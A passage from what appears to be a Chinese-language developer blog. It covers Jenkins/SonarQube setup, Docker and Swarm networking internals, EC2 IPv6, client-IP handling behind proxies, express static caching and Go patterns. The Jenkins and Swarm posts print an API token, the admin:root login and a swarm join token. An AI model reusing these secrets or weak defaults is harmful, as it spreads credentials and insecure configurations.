jk82421/jenkins_server:v1 docker cp demo_backup:/var/jenkins_home_backup/jenkins_home ~/Downloads/jenkins-sonarqube-test 把我的備份的 jenkins_home 先複製出來 把 docker-compose 的 {Your_downloaded_jenkins_home} 改成 /Users/name/Downloads/jenkins-sonarqube-test 記得 name 這裡要填你自己的 執行 docker-compose up, docker-compose.yml 如下 1234567891011121314version: \"3.7\"services:sonarqube: image: jk82421/sonarqube_server:v2 ports: - 9000:9000jenkins_server: image: jenkins/jenkins:lts volumes: - {Your_downloaded_jenkins_home}:/var/jenkins_home ports: - 8080:8080 - 50000:50000 最後記得停止和刪除一開始備份的東西 12docker stop demo_backupdocker rm demo_backup Jenkin 網頁在 http://localhost:8080 Sonarqube 網頁在 http://localhost:9000 以下紀錄 jenkins 和 sonarqube 有調整的部分 sonarqube 部分 帳號密碼為: admin:root 幫 admin 建立一組 api token (00f31133302ea8d7fdec5e3ff72fbb67d3b7632d) 記憶體最大都調整到 1024mb jenkins 部分 帳號密碼為: admin:root 安裝 Sonarqube scanner 環境有設置 Sonarqube scanner 的名稱, 以及設定 api token credential 安裝 nodejs plusgin 環境有設置 nodejs 的名稱 docker container 部分 內存建議需要調到 4GB 以上 (因為 sonarqube + es 需要比較大的內存, 個人是調到 8GB) 問題紀錄過程中有到以下兩個常噴的錯誤這兩者問題發生跟記憶體不足是有關係的若遇到則把 docker container 或是使用的 host 記憶體加大應該可以解決問題 1SonarQube Process exited with exit value [es]: 137 122021.01.17 06:37:35 WARN web[][o.s.s.a.EmbeddedTomcat] Failed to stop web serverorg.apache.catalina.LifecycleException: A child container failed during stop 後記這版本還有一些地方要進行調整 例如拉 branch 的方式, 應該要配合 credential 去處理 目前 repository 是寫死的, 應該要變成可調動的參數 這些就先留給未來的我慢慢調整拉","link":"/2021/01/17/ci-cd-sonarqube/"},{"title":"Docker 網路介紹","text":"在使用 docker 的時候最常出現網路連線的問題要如何連線到 container 裡面啊, 要如何讓 container 之間互連線等等要解決這些問題之前, 又要先了解 docker 的網路設置方法有哪些而這些設置方法各自有可以達成什麼樣的功效 NoneNone 代表的就是沒有網路, 也就是外部使無法訪問此 container 的服務此 container 也無法訪問到外部的網路服務 Host在 A 電腦上面運行 container B然後透過 docker run --network="host" image 運行時在電腦 A 上面是可以直接讀取到 localhost:8080並不需要設置什麼 -p 8080:8080 的 port forwarding 的方式即可使用透過 host 設置方法, 就是直接使用 host 的網路介面, 甚至可以進行修改但此這是方法並不建議使用在正式環境上 只是這邊要特別注意, 只有在 linue 的環境下才能使用 host 的指令詳細可以看 docker 官網的解釋 The host networking driver only works on Linux hostsand is not supported on Docker Desktop for Mac, Docker Desktop for Windows, or Docker EE for Windows Server. Bridge (預設網路介面) 如上圖所示, bridge 就是在各個 container 之間架起一個橋樑可以想像成在這個橋樑之間的城市, 都擁有自己的街道名, 在這裡就是都有各自的 IP城市之間都可以各自溝通, 也就是 container 可以使用各自擁有的 IP 進行溝通而 host 算是獨立在這整個系統之外的地方, 要與這個 container 進行連線溝通必須先經過登記這個登記就是在運行 container 的時候設置 docker run -p targetPort:hostPort 這個屬性透過把 targetPort 轉換到 hostPort, 例如說 8080:3000這樣在 container 裡面的 3000 port 就可以在 host 的 8080 port 讀取到服務了 而這個 bridge 還有一種方式, 是可以自訂字 bridge 的名稱, 這也是官方最推薦的一種方式可以想像原本預設 bridge 是官方自定義的一種名稱, 但我們是可以透過以下指令客製化這個 bridge 的名字docker network create -d bridge custom-bridge當我們客製化 bridge 的名字後, 當 container A & B 透過以下方式使用這個 custom-bridge 的時候docker run --network="custom-bridge" imageAdocker run --network="custom-bridge" imageB就代表也只有他們彼此在使用這個網路介面, 在這個狀況下 container A & B 之間溝通的方式就可以透過 container ID 去進行溝通, 例: http://containera-id:port但在這使用預設的 bridge 是無法達成的, 必須要用自訂義的才可以 除此之外, container A 和 B 之間也是能透過自定義的名字去進行溝通docker run --network="custom-bridge" --name="container-a" imageAdocker run --network="custom-bridge" --name="container-b" imageB當我在啟用 container 的時候自定義名字時他們之間就可以用 http://container-a:port 以及 http://container-b:port 進行溝通了 快速總結 使用預設 bridge 以及預設 name -> 只能使用 container ip 互相連線 使用自定義 bridge 以及預設 name -> 可以透過 container ip & id 互相連線 使用自定義 bridge 以及自定義 name -> 可以透過 container ip & id & name 互相連線 Overlay此種網路配置是希望在不同 host 之間的 docker dameon 能夠互相連線並且讓 host 裡面的 container 都連到同一個網路, 進而讓 container 互相溝通 docker dameon 可以想像成運行 docker container 的程序 在 docker overlay 的網路概念就一定會提到 docker swarm而 docker swarm 也是 docker container cluster 的管理工具那因為 docker 官網針對 overlay network 的概念是綁定在 docker swarm 上介紹 詳細的 docker swarm 下篇會講到架構以及在 docker swarm 的架構下網路是如何流動的 References Docker Network Overvie 給新手的 Docker 網絡入門","link":"/2020/05/18/docker-network/"},{"title":"Docker Swarm 網路架構介紹 - load balancing traffic path","text":"什麼是 Docker Swarm?Docker Swarm 簡單來說就是可以在多個 host 管理多個 container 一種工具透過 Docker Swarm 你可以輕易地部署應用程式到任何一台 host 上面假如其中一台 host 掛了, 也會立刻在另一台 host 上面啟動新的 container當然 Docker Swarm 不只有這個優點像是還有以下幾點 sacling, service discovery, load balancing 等等優點這邊先給個關於 sacling, load balancing 以及 service discovery 的概念 scaling sacling 的概念比較單純, 也就是可以自動擴展或縮減 service 數量 當流量過大時, 可以一次啟動較多個 service 去處理流量 當流量過小時, 可以減少 service 去降低機器使用量 load balacning 當流量進入到 docker swarm service 中, 會有一套機制去把進來的流量進行分散 例如: 透過輪詢 (Round Robin) 的方式把流量分散出去 也就是輪流把流量送到各個服務去 (先送 A 再送 B 再來送 A 又再送 B … loop) service discovery 在 docker swarm 中每一個 service 可以自定義自己服務獨有的 DNS 接著可以讓其他 container 使用這個 DNS 去使用到服務 例如: https://my-dns-api/api/path, 此 DNS 在其他 container 是都可以讀取的到 這邊 service 指的是 container 中運行的應用程式 這篇會把重點放在 docker swarm 如何達成 load balancing 的流程上面去做解析 啟動 Docker Swarmdocker swarm 裡面有兩種角色 manager 如其名, 就是負責管理 cluster 的主機, 以及去安排每一個 service 要放在哪一台啟動 但除此之外, 此 manager 也會負責啟動 service 的責任 worker nodes 如其名, 就是執行 service 的地方, node 在此代表的是 host 要啟動 docker swarm 很簡單, 透過 docker swarm init 就可以啟動此時會看到一堆訊息出現, 意思就是去到其他要加入這個 swarm 的 node 上面輸入指令docker swarm join --token SWMTKN-1-4lhtz5h8x327cgdulc0n55y4oncfy2gkg8ae5sygcuwwej8z8t-2yd2du8o3e85qx4bgp1fpwell 172.17.0.3:2377 輸入指令後就會跳出加入成功的訊息了 再來透過 docker node ls 去確認目前的狀態可以看到現在哪一台 node 是 leader (manager) 哪一台是 woker(記得要再在 manager 那台輸入會有效) 接著我們先建立一個 API Service (3000 port)此 service 已經被我包成一個 image而要丟進去 docker swarm 中, 可以輸入以下指令docker service create --replicas 2 --name="hello-a" -p 5000:3000 node-test –replicas 代表說我目前要讓他啟動 2 個 container 去運行我的 service透過 docker service scale hello-a=3 就可以把 container 數量改變成 3 去應付大流量降低則是可以透過 docker service sacle hello-a=1 去降低使用數量–name 是定義此服務的名稱, 也可以在往後當成 DNS 給其他 service 進行使用-p 5000:3000 是要把 container 裡面的 3000 port 轉到 host 的 5000 port要注意在 docker swarm 的 host 中都必須要有此 image 才可以啟動哦! 執行完成之後, 試著在兩台不同 node 上面輸入 docker ps 可以看到會有兩個 container 正在運行也可以透過 docker service ps hello-a 去檢查 接著先在 manager node 輸入 docker service logs hello-a -f 去查看目前 service log接著在另一台 node 上面輸入 curl http://localhost:5000 會發現可以正確回傳且有 log 出現而且會發現 log 是按照順序出現在第一台, 接著第二台, 又回去第一台這就是我們一開始說到的 load balancing 的概念 (採用輪詢)) load balancing 是如何運作?接著我好奇這種 load balancing 到底是如何運作每一台機器可以擁有自己的防火牆規則, 而 iptables 就是管控這些規則的一個服務要知道流量是如何進行, 首先可以先從 iptables 下手所以我們要先知道從 5000 port 近來的流量先到了哪裡在其中一台 node 輸入 iptables -L -t nat 可以查看進來的流量會被轉去哪裡 這裡科普一下, iptables 至少會有三種表格 filter nat manglefilter 是流量進到主機本身去決定要不要 accept or drop or forward 用的nat 是流量跟此台主機並無太大關係, 主要是做來源與目的 ip & port 的轉換, 轉到更後面的伺服器mangle 屬於特殊表格, 會去標記某些規格並去改寫封包詳細可以看鳥哥的教學 從圖中最下面那條規則可以發現流量被導入到 172.19.0.2:5000 這邊去了那麼 172.19.0.2 又是哪一台呢? 接著用 ifconfig 查看目前網路介面可以發現有一條 172.19.0.1 那一個網路介面, 看來跟這個非常有關係, 名字則是 docker_gwbridge這是此 node 建立 container 之後, 跟這個 container 建立連線用網路介面所以代表 node 裡面一定有一個 container 的 ip 是 172.19.0.2 透過 docker network inspect docker_gwbridge看看是哪一個 container 掛在此 ip 上面 這裡發現有一個被隱藏起來的 container 名叫做 ingress-sbox所以看起來流量是先進入這個 container 然後再把流量分配到真正的 service那麼 ingress-sbox 是透過什麼方式把流量導入過去呢? 透過 nsenter --net=/var/run/docker/netns/ingress_sbox 可以進去到此 container 的網路介面去在裡面輸入 iptables -L -t nat 以及 iptables -L -t mangle關於 iptables 詳細路由順序介紹可以看鳥哥的教學去理解, 這邊就不多作介紹 這邊就直接把路釐清 封包先進入到 mangle 這張表的 PREROUTING 發現 5000 port 被標記著 0x102 這條規則 透過輸入 ipvsadm -L 可以找到此條規則的設計 printf "%d\\n" 0x102 = 258 就發現這裡指向兩個 ip, 而這兩個 ip 就是我們真正 service 的 ip 了 流量就是在這邊開始進行 Load Balancing 被導入過去 那因為進入到 mangle 這個 table 就把流量導走了, 所以就用不到 nat 那一張表格 這邊 Load Balancing 是透過 IPVS 去達成的詳細 IPVS 介紹可以看看此篇教學 這邊就確認一下 10.0.0.5 和 10.0.0.6 是不是真的是 container ip在各自 host 透過 docker inspect container-id 可以查看到各自 container 的 ip可以發現裡面確實是有 10.0.0.5 和 10.0.0.6 總結 流量先進入到 host 的 5000 port 發現 host 有一條規則是把流量導入到 ingress_sbox container 在 ingress_sbox container 裡面又再把流量導入到真正的 service container 詳細流程可以參照以下這張圖去比對, 請看黃色那一條虛線的路 (有標記數字)搞懂 load balancing 的概念後, 下一篇將會解析 docker swarm 如何做到 service discovery (custom DNS) References Blocking ingress traffic to Docker swarm worker machines iptables How Docker Swarm Container Networking Works – Under the Hood nsenter 命令簡介 Docker Swarm Reference Architecture: Exploring Scalable, Portable Docker Container Networks","link":"/2020/05/25/docker-swarm-load-balancing/"},{"title":"Docker Swarm 網路架構介紹 - Service Discovery","text":"前言在上一篇 Docker Swarm 網路架構介紹 - load balancing traffic path 介紹過當流量進來的時候流程接下來這篇會介紹如何讓 container 之間可以透過 DNS 的方式進行連線 Container IP還記得上一篇提到實際上運行 service 的兩個 container IP 為 10.0.0.5, 10.0.0.6在我們透過 DNS 之前, 我們能不能先用 container IP 去互相連線呢? 因為筆者機器重開的原因, 接下來的 ip 可能都會有些變動原本是 10.0.0.5 10.0.0.6會換成 10.0.0.7 10.0.0.8又或是 10.0.0.9 10.0.0.10主要去注意我在講哪一個 container 以及後面括號的 ip 即可 我們在 container-a (10.0.0.7) curl container-b (10.0.0.8) 那一台會發現無法連線 這非常詭異, 理論上 container 之間應該要可以連線不然上一篇的隱藏的 ingress_sbox 怎麼可以連到其他台 container 呢? 但神奇的事就來了, Docker 官方有說明可以透過 Custom Overlay Network 的方式讓 container 互相連線我們先來實作 custom overlay network 讓 container 之間互相連線再來頗析為何只有 Default Overlay Network 的 ingress_sbox 可以連線到其他 container, 但其他 container 之間卻無法連線 Custom Overlay Network透過 docker network create -d overlay my-overlay 建立自訂義的 overlay network接著再啟動 service 的時候把這個 overlay network 附加上去docker service create -p 5000:3000 --network="my-overlay" --name="hello-a" --replicas 2 node-test建立完成之後, 我們先進去看一下 container 的網路介面會發現, 每個 container 裡面又多了一個 10.0.1.x 的網路介面這個就是我們自定義的 overlay network, 所以 container 之間溝通就會透過此組 IP 去溝通此時會發現上面 10.0.0.x 的 IP 還是會保留, 原因是那是給 ingress_sbox 去做 load balancing 使用的接著我們試著在 container-a (10.0.1.4) curl container-b (10.0.1.3)會發現有正常回傳一個 HI, 就代表連線成功了! 那麼一個疑問就來了, 他是怎麼找到另一個 container-b 的呢?為何在原本的 overlay 環境下無法連線, 但在這個 overlay 下卻可以連線試著在 container-a 裡面找是否有 iptables 等等的相關設定後來是透過 ip neigh 找到區網內把 IP 解析成 MAC 地址的一個地方透過 ARP 的方式可以找到 container-b 正確的位置另外從下面圖的結果看來, 可以發現 10.0.0.x 並沒有在這裡面這也符合在 default overlay network 狀況下, container 之間是無法連線的 按照上面邏輯 default overlay network 下的 ingress_sbox 的 ARP 解析中應該會出現 10.0.0.x 10.0.0.y 兩個 container IP因為在上一篇 ingress_sbox 充當 load balancing 的角色ingress_sbox 必須知道 10.0.0.x 以及 10.0.0.y 的 MAC 地址在哪裡從下圖中就可以看到確實在 ingress_sbox 裡面是有針對 10.0.0.x/y 去做 ARP 解析的 接著最後就是來到 custom DNS 的部分, 在 container-a 和 container-b 裡面是可以輸入 http://hello-a:3000 去使用的 API 服務在 container-a/b 中應該有一個地方會把 hello-a 這個 domain 解析成特定的 IP這樣才能讀取到服務, 但是這個設定在哪裡? 這個設定其實是藏在 Docker Engine 裡面的 DNS Server根據 Docker 官網 - Swarm Native Service Discovery在 container query hello-a 的時候會先到 Docker 裡面的 DNS Server 去解析這個域名解析成功後才會返為此域名的 IP 以官方提供的流程圖來說, Query myservice 這個域名透過 Docker DNS Server 會回傳此域名的 IP 為 10.0.0.3 至於詳細設定的部分我翻了老半天都找不到, 這可能要直接去讀 docker 源碼了… 後記這樣一來就稍微搞懂 docker 以及 docker swarm 裡面的網路架構流程大致上都是透過以下幾個技術去處理掉整個流程 iptables 防火牆管控, 可以導轉流量到應該要去的位置, 或是過濾不要的流量 IPVS (IP Virtual Server, tool: ipvsadm) Linux 核心擁有的 Load Balancing 在上一篇的範例中, 運用在 ingress_sbox —load balancing—> service ARP (Address Resolution Protocol) 解析 IP 後取得真正的 MAC Address 用 在本篇的範例中, 運用在 container 之間互相溝通 NAT (Network Address Translation, tool: iptables) 運用在 iptables 裡面的機制, 可以改變封包傳送端與接收端的 IP 地址 在上一篇的範例中, 運用在 localhost:5000 -> ingress_sbox Embedded DNS Server 在 container 之中, 自定義的網域會來到這邊做解析, 並取得到自定義網域下的真實 IP 在本篇的範例中, 運用在 query hello-a 域名時 這邊就記錄下來, 方便以後有個思路可以循著走 References Blocking ingress traffic to Docker swarm worker machines iptables How Docker Swarm Container Networking Works – Under the Hood nsenter 命令簡介 Docker Swarm Reference Architecture: Exploring Scalable, Portable Docker Container Networks","link":"/2020/06/02/docker-swarm-service-discovery/"},{"title":"如何啟用 AWS EC2 IPv6 ?","text":"前言要讓 ec2 支援往外連線 ipv6 的能力要先注意以下三點事項確認好這三點可以先 Marked 一下待會要額外做哪一些設定 確認 ec2 instance type 是否支援 ipv6, 可參考 Instance Types 確認 ec2 instance 是在 public subnet 還是 private subnet public subnet → 要用到 internet gateway private subnet → 要用到 egress-only internet gateway 確認 ec2 建立的方式, 以下有兩點要注意 2016.09 後 Linux 不需要多作設定 如果機器是用 AMI 建立的話, 需要手動設定 ipv6 的設定才能啟用 ipv6 其他版本 OS 使用方法可以參考 Configure IPv6 on Your Instances 啟用 ipv6啟用 ipv6 有以下幾個步驟要走 VPC 需要啟用 ipv6, 按下 Add IPv6 CIDR 讓它自動產生一組 Subnet 需要設定 ipv6 CIDR, 這邊注意到圖中的 00 是可以從 00 01 02 這樣慢慢設定上去, 另外這個 00 是以 16 進位表示 設定 Route Table 對外的部分 Desitination: ::/0 以下二擇一, 根據 ec2 所在的環境判斷 (Private Subnet) Target: egress-only internet gateway (Public Subnet) Target: Internet network gateway 設定 ec2 的 Security Group, Outbound 的部分要設定 Desitination: ::/0 Type: All Traffic Protocol: All Port range: All 指派 ipv6 給 ec2, 按下 Assign New IP 之後留空, 再按下 Yes, Update 讓它自己指派 接下來最後一點, 就要看機器狀況, 如同一開始提到的兩個情況 2016.09 後 Linux 不需要多作設定 如果機器是用 AMI 建立的話, 需要手動設定 ipv6 的設定才能啟用 ipv6 其他版本 OS 使用方法可以參考 Configure IPv6 on Your Instances 這邊就介紹用 Ubuntu 14 版本啟用的方式 Ubuntu 14 版本啟用 ip v6 的方式 修改 /etc/network/interfaces.d/eth0.cfg 內容 請在 iface 的下面一段加上 up dhclient -6 $IFACE 12345678# 原本auto eth0iface eth0 inet dhcp# 修改後auto eth0iface eth0 inet dhcp up dhclient -6 $IFACE 接著 sudo reboot 輸入 ifconfig 確認 ipv6 是否正確, 如果不正確, 輸入 sudo dhclient -6 啟用 ipv6 其他版本 OS 使用方法可以參考 Configure IPv6 on Your Instances References Migrating to IPv6","link":"/2020/03/30/ec2-ipv6/"},{"title":"如何從多層 Load Balancer / Nginx 取得使用者正確的 IP?","text":"[Update 2021-12-06] 新增推薦拿法 前言我們有時候要取得使用者 IP往往都會用最簡單的方式取得 IP以 express 為例子,會使用 req.connection.remoteAddress req.ip 等等方式取得 IP但你知道,當伺服器被多層的 Load Balancer 保護在前面的時候取得到的 IP 會是 Load Balancer 的嗎?而真正的 IP 會被 Load Balancer 放在 X-Forwarded-For 上面,傳遞到後面伺服器如果不知道的話,那這邊文章有可能會幫助到你 接下來會以 AWS 的 Load Balancer 以及伺服器上建立一個 Nginx 服務然後還有一個 express server 服務來說明從無 Load Balancer 到雙層 Load Balancer 的架構下分別該如何取得 IP Direct Connection架構示意圖如下 當我們連線時直接連到伺服器時可以透過 express 的 req.connection.remoteAddress 取得到使用者的 IP (233.x.x.x)原因是此時的呼叫者是使用者 單層 Load Balancer架構示意圖如下 當我們遇到只有一層 Load Balancer 時透過 express 的 req.connection.remoteAddress 會取得到的是 Load Balancer 的 IP (10.x.x.x, 圖中最下面)原因是 Load Balancer 作為中介者,取得到了 Rqeuest 之後會再往後端伺服器轉發,這時候呼叫者就是 Load Balancer 而不會是使用者使用者真正的 IP 是會放在 header 的 X-Forwarded-For 上面 (233.x.x.x) 這邊 Load Balancer 可以是 Nginx,但這邊我們用 AWS Load Balancer 做 DEMO原因是我們後面會需要架構出兩層 Load Balancer 的狀況 雙層 Load Balancer架構示意圖如下 而當我們再加上一層 Load Balancer 的時候 (這裡用 nginx 代替)透過 express 的 req.connection.remoteAddress 會取得到的是 Nginx 的 IP因為呼叫者從上一個案例的 Load Balancer 變成了 Nginx而我們這邊 Nginx 是架設在 localhost 裡面,所以可以看到 IP 是 127.0.0.1 (圖中最下面)那前面 Load balancer 的 IP 就被放到 X-Forwarded-For 上面去了 (10.x.x.x 那個) 雙層 Load Balancer + 惡意 X-Forwarded-For架構示意圖如下 狀況如同前面的 Case,但這邊唯一不一樣的是萬一使用者自己在 X-Forwarded-For 加了 X-Forwarded-For: 5.5.5.5, 6.6.6.6這些資料是會被放到 X-Forwarded-For 最前面去的所以在取得 IP 的時候要特別注意並不是取得 X-Forwarded-For 的第一個就可以了應該要根據你前面放了多少個 Load Balancer 去決定要拿從後面數過來的第幾個才是正確的 推薦拿法但實際上,真的非常難要你一個一個 IP 去數,所以像在 express 中有提供 trust proxy 的一個變數可以透過設定這個變數,去幫你把 x-forwarded-for 裡面的 IP 去做白名單過濾 舉例來說,現在前面有一層 Load Balancer,並只有設定 app.set('trust proxy', true)以及 x-forwarded-for: 3.3.3.3, 1.1.1.1, 2.2.2., 2.2.2.2,此時 req.ip 會拿到 3.3.3.3在 express 官網也有提到只有這樣設定會取得最左邊的 x-forwarded-for 但我實際的 IP 想要取得的是 1.1.1.1,而 2.2.2.x 是我的 proxy,則可以這樣設定12app.set('trust proxy', true)app.set('trust proxy', ['loopback', '2.2.2.0/24']) 代表『信任的 proxy』有 127.0.0.1 以及 2.2.2.0/24接著取得 IP 的順序就會從右到左,如果有在白名單裡面,則跳過不看,最後取得 req.ip 就會是 1.1.1.1這樣就不用一個一個數了!其他像是 Rails 也有類似的設定,所以每個語言應該都有對應的東西 References其他還有很多詳細的介紹,非常推薦看以下這篇文章,大推! https://devco.re/blog/2014/06/19/client-ip-detection/","link":"/2020/01/09/express-get-client-ip-from-load-balancer/"},{"title":"Express 對靜態檔案做了什麼? 為什麼會被 cache 住呢?","text":"前言最近突然有一個想法開始研究起瀏覽器端的 Cache 方法加上小弟常用 nodejs + express 去寫前後端於是開始研究起 express 裡面有一個 middleware 怎麼做起瀏覽器 cache 這件事 介紹在 express 裡面有一個 function 叫做 express.static()這個是一個 middleware,最常被用在要讀取一些靜態檔案上面以這個寫法來說 app.use(express.static(__dirname + './public'))是指向 public 這個資校夾裡面,假設裡面有一個檔案叫做 index.html 的話,並且伺服器的 port 是 8080那麼在網址列輸入 http://localhost:8080/index.html 這樣就可以讀到這個檔案了 追朔源頭那我的疑問來了,我打開 Chrome Inspect 的 Network Tab 去看了一下他的 Response Headers發現一件很奇怪的事情,我明明什麼都沒有設定,卻出現幾個有關 Cache 的 Headers Accept-Ranges Cache-Control ETag Last-Modified 有關 Cache 的一些機制和理論就不多作介紹這裡單純就爬一下 Source Code,看看 express 對靜態檔案做了什麼 express在 express source code 中,發現他是用了另一個 library server-static於在就再來看看 server-static 做了什麼 1exports.static = require('serve-static'); serve-static我只列出關鍵幾行,其他行主要都是設置參數用而已 從第一行可以看出,把 serverStatic 這個 function 給 export 出來了再往下看會發現有一個 send function 把 path 傳了進去然後在最後面,stream.pipe(res) 對 response 做了一些更動 於是再往下找找看 send() 這個是什麼東西 12345678910111213module.exports = serveStatic;var send = require('send')function serveStatic (root, options) { // Some codes .... var stream = send(req, path, opts) // Some codes .... // pipe stream.pipe(res)} send – send根據上一段程式最後一段 (12行),他 call 了一個 pipe 的 functionpipe function 裡面去 call this.sendFile(path)this.sendFile 裡面又去 call self.send(path, stat)然後在 send 這個 fucntion 裡面出現關鍵的 function – this.setHeader看來 response headers 就是在這邊被更改了 123456789101112131415161718192021222324252627module.exports = send// 這邊回傳給到 server-static 去 call// 也就是上一段程式碼的第 8 行,然後在第 function send (req, path, options) { return new SendStream(req, path, options)}SendStream.prototype.pipe = function pipe (res) { this.sendFile(path)}SendStream.prototype.sendFile = function sendFile (path) {// 這個等等 demo 截圖會看到,所以先留著 debug('stat \"%s\"', path) self.send(path, stat)}SendStream.prototype.send = function send (path, stat) { // 這個等等 demo 截圖會看到,所以先留著 debug('pipe \"%s\"', path) // set header fields this.setHeader(path, stat)} send – setHeader找到了對 header 做更動的地方後,以第 11 ~ 20 行中間這段 Code 來說去設置了 Cache-Control 的內容,依照整個邏輯下如果沒有特別設置,那麼 header 會長以下這樣 Cache-Control: public, max-age=0 123456789101112131415161718192021222324252627282930313233SendStream.prototype.setHeader = function setHeader (path, stat) { var res = this.res this.emit('headers', res, path, stat) if (this._acceptRanges && !res.getHeader('Accept-Ranges')) { debug('accept ranges') res.setHeader('Accept-Ranges', 'bytes') } if (this._cacheControl && !res.getHeader('Cache-Control')) { var cacheControl = 'public, max-age=' + Math.floor(this._maxage / 1000) if (this._immutable) { cacheControl += ', immutable' } debug('cache-control %s', cacheControl) res.setHeader('Cache-Control', cacheControl) } if (this._lastModified && !res.getHeader('Last-Modified')) { var modified = stat.mtime.toUTCString() debug('modified %s', modified) res.setHeader('Last-Modified', modified) } if (this._etag && !res.getHeader('ETag')) { var val = etag(stat) debug('etag %s', val) res.setHeader('ETag', val) }} DEMO另外提供另個方法可以追回去 (我是懶得寫程式直接看 source code XD)安裝完環境之後要跑 server 的時候,可以這樣下 DEBUG=* node server.js 從圖片中可以發現,那些 log message 是一樣的 後記一直以來以為是 express 的做法讓檔案可以 cache 住原來一直都是默默無名的 opensouce library 在幫助 express 啊希望這篇有稍微幫助到對 express 處理 static files 有疑慮的人","link":"/2017/12/11/express-static/"},{"title":"Go Concurrency Patterns","text":"介紹這篇主要是前陣子讀完 Concurrency in Go 的一些心得。裡面提到很多關於 Concurrency 實作的一些技巧,讀完之後有特別實作出來,可以參考個人的 repository go-concurrency-patterns。 以下是個人從書中擷取出來認為比較核心的技巧和觀念,本文不會提及太多 Patterns,詳細可以上面的 repository 看看唷! 核心技巧書中提到的 Patterns 都是最大化利用 channel 的特性去達成。 先舉書中第一個 Generator Pattern 來做說明。可以發現以下 generateData function 是負責去建立和關閉 channel,而外面則是用 range 去讀 channel。 123456789101112131415161718192021func generateData() <-chan int { data := make(chan int) go func(data chan int) { for i := 0; i < 10; i++ { data <- i } close(data) }(data) return data}func main() { data := generateData() for d := range data { fmt.Println(d) }} 其實這是利用了 channel 的兩特性而結合的一種 pattern 不能向已關閉的 channel 進行寫入 可以向已關閉的 channel 進行讀取 正是因為以上兩點,所以書中才會建議建立 channel 的人是要負責關閉的,而不是讀取又或是其他地方去關閉。以第 2. 點來說,透過 range 讀取 channel 的話,當 channel 被關閉時,是會跳出 range 這個 loop 的。即使不用 range,用 v, ok := <- data 中的 ok 也能夠知道 channel 究竟有沒有被關閉。 所以在讀取部分可以很大限度避免 panic 出現,而在寫入的部分更可以透過指定 function 回傳是只能讀的 channel,進而避免外面使用的人出現 panic 的情況。 核心觀念核心觀念則是要防止 goroutine leak,因爲 goroutine 在 go 中其實是一個不太佔資源的東西,但是若只是因為他不佔資源,而隨意使用還是會造成很大的後果。 所以要如何正確關閉 goroutine 就變得非常重要,以最基本的就是透過 done channel 以及 timeout 去關閉 channel。 先從 done channel 來看看,舉下面例子來說,我從 channel 讀到一定數量想要跳掉,但我又不是建立 channel 的人,該怎麼去關閉呢?其實可以透過傳入 done 這個 channel 並讓裡面的 goroutine 使用 select 去監聽。透過這種方式的話,即使外面 function 沒有把 channel 讀完,只要透過 defer close(done) 的方式,確保外面 function 結束時一定會去關閉。 1234567891011121314151617181920212223242526272829303132333435func generateData(done <-chan struct{}) <-chan int { data := make(chan int) go func(data chan int) { defer close(data) i := 0 for { select { case <-done: return case data <- i: i++ } } }(data) return data}func main() { done := make(chan struct{}) data := generateData(done) counter := 0 for d := range data { fmt.Println(counter, d) counter++ if counter == 5 { close(done) break } }} 如果不關閉的話,就會一直卡在 data <- i 這邊,而裡面的 goroutine 永遠都不會結束。也就意味著,萬一這個 function 被呼叫一百萬次,而每次都是讀一半就結束然後不關閉的話,就會有一百萬個 goroutine 卡在那邊,這也是非常消耗資源的一件事情。 再來看看 timeout,其實也是類似的概念,只是把原本吧 select case <-done: 的地方換成 <-time.After(10 * time.Second)。這樣能夠預防萬一 generateData 執行太久,外面一堆 function 都在等著讀取,進而導致一堆 goroutine 排隊等著讀取的現象發生,就像呼叫一百萬次,結果這一百萬個都要等待 generateData 產完資料,這也是一件非常消耗資源的事情。 另外透過 timeout 也能盡量避免資源被吃掉的問題出現,但如果你是本身流量就很大那完全就是另一回事了。然後透過 timeout 也可以防止 deadlock 的問題出現,原因是有些資源會互卡,在互卡的情況下,如果不設置 timeout,就會永遠 pending 在那邊。當然不是說設定 timeout 是最佳解,只是一種預防程式掛掉的方式,實際還是得找為什麼資源會互卡這件事。 後記個人還蠻推薦看這本書,這篇省略蠻多東西,但有把我覺得最重要的東西提出來。 另外有把書中提到的 Pattern 整理在 go-concurrency-patterns,有興趣的可以讀看看。","link":"/2022/10/04/go-concurrency/"},{"title":"Go local package 設置","text":"介紹這篇主要是介紹如何在本地不同資料夾下面,去引用別的資料夾的 go package 使用好處在於如果 clone 別人 source code 下來想要改的話,可以利用這種方式直接引用修改後的 source就不用自己還要推到 repository 實作這是我主要的程式 main.go,裡面會去使用我自己建立的 package123456789package mainimport ( \"github.com/Yu-Jack/go-hello\")func main() { hello.Cool()} 而 go.mod 目前設置如下12module example/hello-2go 1.16 接著跑 go get github.com/Yu-Jack/go-hello 把專案載下來後,go.mod 就會變這樣123module example/hello-2go 1.16require github.com/Yu-Jack/go-hello v0.0.0-20210921041315-798ac1b7038c // indirect 如果出現 410 Gone 以及 fatal: could not read Username for 'https://github.com': terminal prompts disabled 的錯誤,有以下幾個可能原因 第一個因為 https 預設是禁止的,所以建議用 ssh,所以在 gitconfig 要下這個指令去改 git config --global url."git@github.com:".insteadOf "https://github.com/",不過這個方式記得要把自己的 ssh key 上傳到 github 上 第二個是 GOPROXY & GOSUMOB 設定,別透過 proxy 去拿就可以 (如果是 public 專案可以看下面的備註的部分) 1234567# 原本GOPROXY="https://proxy.golang.org,direct"GOSUMDB="sum.golang.org"# 改成,既得用 export 的方式,直接 go env -w 是無法改的 GOPROXY="direct"GOSUMDB="off" 解法來源-issuecomment-546503518 若不想用第二種方式,可以用第三種設定 go env -w GOPRIVATE="github.com/Yu-Jack" 直接指定 repository 的位置即可,之後要移除可以透過 go env -u GOPRIVATE ### 備註如果專案是 public 的話,可以考慮等 1~2 小時接著就正常了,因為中間多一層 proxy 要一段時間才會生效如果急著要用的話,就可以考慮用 2 or 3 的方法以上面的 case 來說,會到 https://sum.golang.org/lookup/github.com/!yu-!jack/go-hello@v0.0.0-20210921041315-798ac1b7038c 這裡讀取資料如果在還沒生效之前,就會都是拿到 410 Gone 目前這樣設置的方式就是去讀從 gihub clone 下來的程式,通常會被放在 GOPATH 的路徑 (pkg/github 裡面)但通常會有權限問題,所以只能讀取,那如果想要隨意優改的話可以這樣做 (這裡不考慮改權限) 先把另一個專案 github.com/Yu-Jack/go-hello clone 到你想儲存的地方這邊假設存在 /Users/{usernme}/Downloads/go-hello 底下接著把剛剛的 go.mod 增加一行,去修改指向的位置,這邊就用絕對位置,但相對位置也是可以1replace github.com/Yu-Jack/go-hello => /Users/{usernme}/Downloads/go-hello 接著嘗試修改 clone 下來的專案,Github 原始程式碼如下可以修改一些字串後並重新跑 go run main.go 就會發現有成功吃到修改的部分123456789package helloimport ( 